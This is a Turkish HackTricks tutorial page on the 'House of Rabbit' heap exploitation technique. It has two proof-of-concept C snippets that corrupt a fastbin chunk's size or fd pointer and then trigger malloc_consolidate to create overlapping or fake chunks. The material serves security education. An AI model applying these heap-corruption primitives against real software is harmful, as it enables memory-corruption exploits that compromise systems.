# Tavşan Evi {% hint style="success" %} AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin * [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
{% endhint %} ### Gereksinimler 1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir. 2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar. ### Hedefler 1. **Üst üste gelen parçalar oluşturmak**: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak. 2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak. ## Saldırı Adımları ### POC 1: Hızlı bin parça boyutunu değiştirme **Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak. * **Adım 1: Parçalar Tahsis Etme** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` * **Adım 2: Parçaları Serbest Bırakın** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` * **Adım 3: Parça Boyutunu Değiştirme** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` * **Adım 4: `malloc_consolidate`'yi Tetikleyin** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren `malloc_consolidate` işlevini tetikler. `chunk1`'in manipüle edilen boyutu, `chunk2` ile örtüşmesine neden olur. Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüye izin verir. ### POC 2: `fd` işaretçisini değiştirme **Amaç**: Hızlı kutu `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak. * **Adım 1: Parçaları Ayırma** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` **Açıklama**: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz. * **Adım 2: Sahte blok oluştur** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` * **Adım 3: `chunk1`'i serbest bırakın** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` **Açıklama**: `chunk1`'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz. * **Adım 4: `chunk1`'in `fd`'sini değiştirin** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` **Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz. * **Adım 5: `malloc_consolidate`'i Tetikle** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parça işlenir. Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir. ### Özet **House of Rabbit** tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.